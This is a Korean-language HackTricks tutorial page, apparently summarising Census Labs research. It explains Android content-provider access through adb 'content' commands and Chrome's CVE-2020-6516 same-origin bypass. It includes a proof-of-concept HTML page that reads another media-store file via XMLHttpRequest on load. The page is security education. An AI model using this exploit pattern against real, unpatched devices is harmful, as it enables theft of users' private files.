Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด๊ฒƒ์€ ๊ฒŒ์‹œ๋ฌผ์˜ ์š”์•ฝ์ž…๋‹ˆ๋‹ค https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

๋ฏธ๋””์–ด ์ €์žฅ์†Œ์˜ ํŒŒ์ผ ๋‚˜์—ด

๋ฏธ๋””์–ด ์ €์žฅ์†Œ์—์„œ ๊ด€๋ฆฌ๋˜๋Š” ํŒŒ์ผ์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด ์•„๋ž˜ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

$ content query --uri content://media/external/file

๊ฐ ์ธ๋ฑ์Šค ํŒŒ์ผ์˜ ์‹๋ณ„์ž์™€ ๊ฒฝ๋กœ๋งŒ ํ‘œ์‹œํ•˜์—ฌ ๋ณด๋‹ค ์ธ๊ฐ„ ์นœํ™”์ ์ธ ์ถœ๋ ฅ์„ ์œ„ํ•ด:

$ content query --uri content://media/external/file --projection _id,_data

์ฝ˜ํ…์ธ  ์ œ๊ณต์ž๋Š” ์ž์‹ ์˜ ๊ฐœ์ธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ๊ฒฉ๋ฆฌ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ œ๊ณต์ž์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋Š” ํŠน์ • content:// URI๋ฅผ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค. ์ œ๊ณต์ž์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ ๊ฒฝ๋กœ์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋งค๋‹ˆํŽ˜์ŠคํŠธ ๋˜๋Š” Android ํ”„๋ ˆ์ž„์›Œํฌ์˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Chrome์˜ ์ฝ˜ํ…์ธ  ์ œ๊ณต์ž ์ ‘๊ทผ

Android์˜ Chrome์€ content:// ์Šคํ‚ด์„ ํ†ตํ•ด ์ฝ˜ํ…์ธ  ์ œ๊ณต์ž์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด, ํƒ€์‚ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋‚ด๋ณด๋‚ธ ์‚ฌ์ง„์ด๋‚˜ ๋ฌธ์„œ์™€ ๊ฐ™์€ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์„ค๋ช…ํ•˜๊ธฐ ์œ„ํ•ด, ํŒŒ์ผ์„ ๋ฏธ๋””์–ด ์ €์žฅ์†Œ์— ์‚ฝ์ž…ํ•œ ๋‹ค์Œ Chrome์„ ํ†ตํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋ฏธ๋””์–ด ์ €์žฅ์†Œ์— ์‚ฌ์šฉ์ž ์ •์˜ ํ•ญ๋ชฉ ์‚ฝ์ž…:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

์ƒˆ๋กœ ์‚ฝ์ž…๋œ ํŒŒ์ผ์˜ ์‹๋ณ„์ž๋ฅผ ๋ฐœ๊ฒฌํ•˜์‹ญ์‹œ์˜ค:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

ํŒŒ์ผ์€ ํŒŒ์ผ์˜ ์‹๋ณ„์ž๋กœ ๊ตฌ์„ฑ๋œ URL์„ ์‚ฌ์šฉํ•˜์—ฌ Chrome์—์„œ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๊ด€๋ จ๋œ ํŒŒ์ผ์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ… (SOP)์€ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์„œ๋กœ ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ๋ฆฌ์†Œ์Šค์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๊ฒƒ์„ ์ œํ•œํ•˜๋Š” ๋ณด์•ˆ ํ”„๋กœํ† ์ฝœ๋กœ, Cross-Origin-Resource-Sharing (CORS) ์ •์ฑ…์— ์˜ํ•ด ๋ช…์‹œ์ ์œผ๋กœ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ํ•œ ํ—ˆ์šฉ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ์ •์ฑ…์€ ์ •๋ณด ์œ ์ถœ ๋ฐ ๊ต์ฐจ ์‚ฌ์ดํŠธ ์š”์ฒญ ์œ„์กฐ๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. Chrome์€ content://๋ฅผ ๋กœ์ปฌ ์Šคํ‚ด์œผ๋กœ ๊ฐ„์ฃผํ•˜์—ฌ, ๊ฐ ๋กœ์ปฌ ์Šคํ‚ด URL์ด ๋ณ„๋„์˜ ์ถœ์ฒ˜๋กœ ์ทจ๊ธ‰๋˜๋Š” ๋” ์—„๊ฒฉํ•œ SOP ๊ทœ์น™์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ CVE-2020-6516์€ content:// URL์„ ํ†ตํ•ด ๋กœ๋“œ๋œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ SOP ๊ทœ์น™์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” Chrome์˜ ์ทจ์•ฝ์ ์ด์—ˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ, content:// URL์˜ JavaScript ์ฝ”๋“œ๋Š” ๋‹ค๋ฅธ content:// URL์„ ํ†ตํ•ด ๋กœ๋“œ๋œ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ์œผ๋ฉฐ, ์ด๋Š” ํŠนํžˆ Android 10 ์ด์ „ ๋ฒ„์ „์—์„œ ๊ตฌํ˜„๋˜์ง€ ์•Š์€ ๋ฒ”์œ„ ์ €์žฅ์†Œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” Android ์žฅ์น˜์—์„œ ์ค‘์š”ํ•œ ๋ณด์•ˆ ๋ฌธ์ œ์˜€์Šต๋‹ˆ๋‹ค.

์•„๋ž˜์˜ ๊ฐœ๋… ์ฆ๋ช…์€ ์ด ์ทจ์•ฝ์ ์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, /sdcard ์•„๋ž˜์— ์—…๋กœ๋“œ๋˜๊ณ  ๋ฏธ๋””์–ด ์ €์žฅ์†Œ์— ์ถ”๊ฐ€๋œ HTML ๋ฌธ์„œ๊ฐ€ JavaScript์—์„œ XMLHttpRequest๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏธ๋””์–ด ์ €์žฅ์†Œ์˜ ๋‹ค๋ฅธ ํŒŒ์ผ ๋‚ด์šฉ์„ ์ ‘๊ทผํ•˜๊ณ  ํ‘œ์‹œํ•˜์—ฌ SOP ๊ทœ์น™์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ